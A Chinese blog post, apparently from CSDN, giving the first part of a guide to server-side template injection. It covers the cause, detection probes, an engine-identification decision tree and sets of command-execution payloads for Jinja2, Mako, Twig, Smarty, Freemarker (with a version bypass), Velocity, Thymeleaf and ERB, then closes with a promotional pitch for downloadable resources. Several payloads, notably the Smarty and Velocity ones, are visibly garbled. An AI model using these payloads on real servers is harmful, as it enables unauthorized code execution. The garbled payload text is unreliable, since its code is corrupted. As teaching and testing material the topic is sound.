**SSTI服务端模板注入**作为OWASP注入类漏洞中增长最快的攻击向量其技术门槛相对较高利用过程也更为复杂。早期接触时我往往仅通过简单的{{7*7}}测试模板渲染参数看到返回49便欣喜若狂却对后续利用束手无策——比如Jinja2与Twig的Payload差异何在沙箱逃逸如何实现这些认知空白暴露了当时的知识短板。今天系统梳理了SSTI漏洞的完整攻击面与大家分享的同时也温故知新。内容涵盖从漏洞原理、检测方法、模板引擎识别到基础利用链、沙箱绕过和WAF对抗等关键维度。由于内容较多将分为上下两篇上篇重点讲解原理与基础利用下篇深入探讨沙箱绕过与高级实战技巧。SSTI模板注入全解析上从原理到基础利用⚠️郑重声明以下所有技术内容仅供学习研究所有操作必须在拥有明确授权的环境中进行。未授权的渗透测试属于违法行为。一、SSTI是什么当用户输入变成了代码1.1 模板引擎与渲染机制现代Web开发广泛采用MVC架构其中模板引擎的主要作用是将数据模型动态注入模板文件最终生成完整的HTML页面。其核心工作原理可概括为模板文件 数据模型 输出页面模板引擎如Jinja2、Twig、Freemarker为增强灵活性提供了变量渲染、条件判断、循环和函数调用等功能。这种设计本无问题但当开发者直接将用户输入拼接到模板代码而非作为数据参数传递时就会产生安全漏洞。1.2 安全写法 vs 危险写法安全写法用户输入作为数据传递# 模板是固定的用户输入是数据template “Hello, {{ name }}!”data {“name”: user_input}output render(template, data)即使用户输入{{7*7}}模板引擎也只会将其作为普通字符串输出因为它是数据不是代码。危险写法用户输入拼接到模板中# 用户输入直接拼入模板字符串template fHello, {user_input}!output render(template)如果用户输入{{77}}最终模板变成Hello, {{77}}!模板引擎会执行这个表达式返回Hello, 49!。这就是SSTI的本质数据与代码的边界被混淆。1.3 SSTI的危害等级SSTI的危害取决于模板引擎的能力危害等级表现典型引擎信息泄露读取配置、环境变量几乎所有引擎文件读取读取服务器任意文件Jinja2、Freemarker、Twig远程代码执行RCE执行系统命令完全控制服务器Jinja2、Freemarker、Mako、ERB多数模板引擎具备文件系统访问和命令执行功能一旦被注入攻击者便能迅速掌控服务器。二、SSTI检测三步确认漏洞存在2.1 第一步寻找注入点SSTI可能出现在任何用户输入被渲染的位置 URL参数如?nameuser 表单提交数据 HTTP头部User-Agent、Referer、X-Forwarded-For JSON/XML请求体 邮件模板、PDF生成功能2.2 第二步数学表达式探测向疑似注入点提交简单的数学表达式观察返回结果探测Payload预期结果说明{{7*7}}49Jinja2/Twig/Django模板${7*7}49Freemarker/Velocity/Thymeleaf% 7*7 %49ERB/Ruby#{7*7}49Thymeleaf/FreeMarker*{7*7}49Thymeleaf${{7*7}}49Vue.js/Angular注意区分CSTI如果返回计算结果而非原始字符串SSTI漏洞基本确认。关键区分{{7*7}}可以区分Jinja2和Twig Jinja2返回7777777字符串乘法 Twig返回49数学运算2.3 第三步多语言Polyglot探测当不确定目标使用哪种模板引擎时使用多语言Payload一次性覆盖${7_7}{{7_7}}% 7_7 %#{7*7}_{7_7}${{7_7}}#{7*7}哪个表达式被成功执行就说明目标使用的是对应的模板引擎。2.4 错误信息辅助判断故意提交畸形语法触发错误信息{{}}${}% %错误信息中可能直接暴露模板引擎名称如TemplateSyntaxError→ Jinja2Invalid reference→ FreemarkerTemplateRenderingException→ Thymeleaf三、模板引擎识别决策树定位确认SSTI存在后需要精确识别模板引擎才能构造对应的利用Payload。以下决策树覆盖主流引擎输入 {{7_7}} 返回49├── 是 → 输入 {{7_’7’}} 返回什么│ ├── 7777777 → Jinja2Python│ ├── 49 → TwigPHP│ └── 报错 → Django模板 / Handlebars├── 否 → 输入 ${7_7} 返回49│ ├── 是 → 输入 _#if 11yes/#if 有效*│ │ ├── 是 → FreemarkerJava│ │ └── 否 → VelocityJava / Thymeleaf│ ├── 否 → 输入 % 7*7 % 返回49│ │ ├── 是 → ERBRuby│ │ └── 否 → 输入#{7*7} 返回49│ │ ├── 是 → ThymeleafJava│ │ └── 否 → 可能是Mako / Slim等各引擎语法特征速查引擎语言变量输出注释代码执行标记Jinja2Python{{var}}{# comment #}{% %}TwigPHP{{var}}{# comment #}{% %}FreemarkerJava${var}#-- comment --# %,VelocityJava$var## comment#set,#ifThymeleafJava[[${var}]]!--/ *--*/th:textERBRuby% var %%# comment %% %MakoPython${var}## comment% %SmartyPHP{$var}{ *comment* }{php}{/php}EJSJavaScript% var %%# comment %% %PugJavaScript#{var}//- comment- code四、基础利用各引擎RCE Payload4.1 Python / Jinja2Jinja2是Python生态最流行的模板引擎Flask默认使用也是CTF和实战中最常遇到的SSTI类型。直接利用无沙箱# 读取配置信息{{config}}{{self.dict}}# 直接执行命令需要os模块在全局变量中{{os.popen(‘id’).read()}}{{lipsum.globals[‘os’].popen(‘id’).read()}}{{cycler.init.globals.os.popen(‘id’).read()}}经典MRO链利用当os模块不在全局变量中时需要通过Python的类继承链MRO找到可执行命令的类# 第一步获取所有子类{{‘’.class.mro[1].subclasses()}}# 第二步找到os._wrap_close或subprocess.Popen的索引# 遍历子类列表找到目标类的索引号# 第三步通过索引调用执行命令{{‘’.class.mro[1].subclasses()[132].init.globals’popen’.read()}}Jinja2常用RCE Payload汇总# 方式1通过lipsum全局变量{{lipsum.globals[‘os’].popen(‘id’).read()}}# 方式2通过cycler对象{{cycler.init.globals.os.popen(‘id’).read()}}# 方式3通过joiner对象{{joiner.init.globals.os.popen(‘id’).read()}}# 方式4通过namespace对象{{namespace.init.globals.os.popen(‘id’).read()}}# 方式5通过request对象{{request.application.globals.builtins.import(‘os’).popen(‘id’).read()}}# 方式6通过url_for全局函数{{url_for.globals[‘os’].popen(‘id’).read()}}# 方式7通过get_flashed_messages{{get_flashed_messages.globals[‘os’].popen(‘id’).read()}}4.2 Python / MakoMako是另一个Python模板引擎以性能著称Pyramid框架默认使用。# 直接访问os模块${self.module.cache.util.os.system(“id”)}# 通过__init__.__globals__访问${self.init.globals[‘util’].os.system(‘id’)}# 通过template属性访问${self.template.init.globals[‘os’].system(‘id’)}# 利用__builtins__${import(‘os’).popen(‘id’).read()}4.3 Python / TornadoTornado框架自带模板引擎语法类似Jinja2但更简洁# 直接导入os模块执行命令{% import os %}{{os.popen(‘id’).read()}}# 通过application对象{{handler.application.settings}}# 通过request对象{{handler.request.remote_ip}}4.4 PHP / TwigTwig是Symfony框架的默认模板引擎PHP生态中最流行的模板引擎之一。# Twig 1.x支持{{_self}}{{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“id”)}}# Twig 2.x/3.x{{[‘id’]|filter(‘system’)}}# 利用map过滤器{{[“id”]|map(“system”)|join(“,”)}}# 利用sort过滤器{{[“id”]|sort(“system”)|join(“,”)}}# 利用reduce过滤器{{[0,0]|reduce(“system”,“id”)|join(“,”)}}4.5 PHP / SmartySmarty是另一个老牌PHP模板引擎支持直接执行PHP代码旧版本# 直接执行PHP代码Smarty 3.1.39之前{php}system(‘id’);{/php}# 利用Smarty内置函数{Smarty_Internal_Write_File::writeFile( S C R I P T N A M E , ? p h p p a s s t h r u ( SCRIPT_NAME,“?php passthru( SCRIPTN​AME,?phppassthru(\_GET\[‘cmd’\]); ?”,self::clearConfig())}# 通过{if}标签执行{if phpinfo()}{/if}{if system(‘id’)}{/if}# 通过fetch/display函数{fetch file“id” assign“x”}{$x}4.6 Java / FreemarkerFreemarker是Java企业级应用中最常用的模板引擎Spring MVC项目广泛使用。#-- 方式1通过Execute类直接执行命令Freemarker 2.3.30 --#assign ex“freemarker.template.utility.Execute”?new()${ex(“id”)}#-- 方式2通过ObjectWrapper访问Runtime --#assign value“freemarker.template.utility.ObjectConstructor”?new()${value(“java.lang.ProcessBuilder”,“id”).start()}#-- 方式3通过JythonRuntime --#assign value“freemarker.template.utility.JythonRuntime”?new()valueimport os;os.system(“id”)/value踩坑经验Freemarker ≥ 2.3.30 版本默认禁止加载Execute、ObjectConstructor、JythonRuntime这三个危险类。此时需要通过Class.forName绕过freemarker#-- 高版本绕过通过Class.forName反射加载 --${Class.forName(“java.lang.ProcessBuilder”,true,Thread.currentThread().getContextClassLoader()).newInstance([“/bin/bash”,“-c”,“id”]).start()}4.7 Java / VelocityVelocity是Apache基金会的Java模板引擎常见于老旧企业系统## 方式1通过Runtime执行命令$!{Runtime.getRuntime().exec(“id”)}## 方式2通过ProcessBuilder#set($e“e”)$e.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“id”)## 方式3通过Class.forName#set( x ) # s e t ( x“”) \#set( x“”)#set(rt x . c l a s s . f o r N a m e ( j a v a . l a n g . R u n t i m e ) ) # s e t ( x.class.forName(“java.lang.Runtime”)) \#set( x.class.forName(“java.lang.Runtime”))#set(chr x . c l a s s . f o r N a m e ( j a v a . l a n g . C h a r a c t e r ) ) # s e t ( x.class.forName(“java.lang.Character”)) \#set( x.class.forName(“java.lang.Character”))#set(str x . c l a s s . f o r N a m e ( j a v a . l a n g . S t r i n g ) ) # s e t ( x.class.forName(“java.lang.String”)) \#set( x.class.forName(“java.lang.String”))#set(ex$rt.getRuntime().exec(“id”))4.8 Java / ThymeleafThymeleaf是Spring Boot的默认模板引擎SSTI利用相对困难但仍有攻击路径// 方式1SpringEL表达式预处理阶段${T(java.lang.Runtime).getRuntime().exec(‘id’)}::.x// 方式2OGNL表达式[[${T(java.lang.Runtime).getRuntime().exec(‘id’)}]]// 方式3通过SpEL创建ProcessBuilder[[${new java.lang.ProcessBuilder({‘id’}).start()}]]注意Thymeleaf默认不允许动态生成模板SSTI漏洞通常只出现在开发者手动调用templateEngine.process()并拼接用户输入的场景。4.9 Ruby / ERBERB是Ruby on Rails的默认模板引擎% system(‘id’) %%id%% exec(‘id’) %% IO.popen(‘id’).readlines() %% require ‘open3’; Open3.capture2(‘id’) %4.10 Go / text.templateGo的text/template引擎设计上不支持函数调用和代码执行SSTI危害较低但可以泄露数据{{.}}{{.Field}}Go的html/template自动转义基本无法利用。但如果开发者使用了text/template处理HTML仍可能存在信息泄露。如何系统学习网络安全/黑客网络安全不是「速成黑客」而是守护数字世界的骑士修行。当你第一次用自己写的脚本检测出漏洞时那种创造的快乐远胜于电影里的炫技。装上虚拟机从配置第一个Linux环境开始脚踏实地从基础命令学起相信你一定能成为一名合格的黑客。如果你还不知道从何开始我自己整理的282G的网络安全教程可以分享我也是一路自学走过来的很清楚小白前期学习的痛楚你要是没有方向还没有好的资源根本学不到东西下面是我整理的网安资源希望能帮到你。需要的话可以V扫描下方二维码联系领取~如果二维码失效可以点击下方链接去拿一样的哦【CSDN大礼包】最新网络安全/网安技术资料包~282G无偿分享1.从0到进阶主流攻防技术视频教程包含红蓝对抗、CTF、HW等技术点2.入门必看攻防技术书籍pdf书面上的技术书籍确实太多了这些是我精选出来的还有很多不在图里3.安装包/源码主要攻防会涉及到的工具安装包和项目源码防止你看到这连基础的工具都还没有4.面试试题/经验网络安全岗位面试经验总结谁学技术不是为了赚$呢找个好的岗位很重要需要的话可以V扫描下方二维码联系领取~因篇幅有限资料较为敏感仅展示部分资料添加上方即可获取如果二维码失效可以点击下方链接去拿一样的哦【CSDN大礼包】最新网络安全/网安技术资料包~282G无偿分享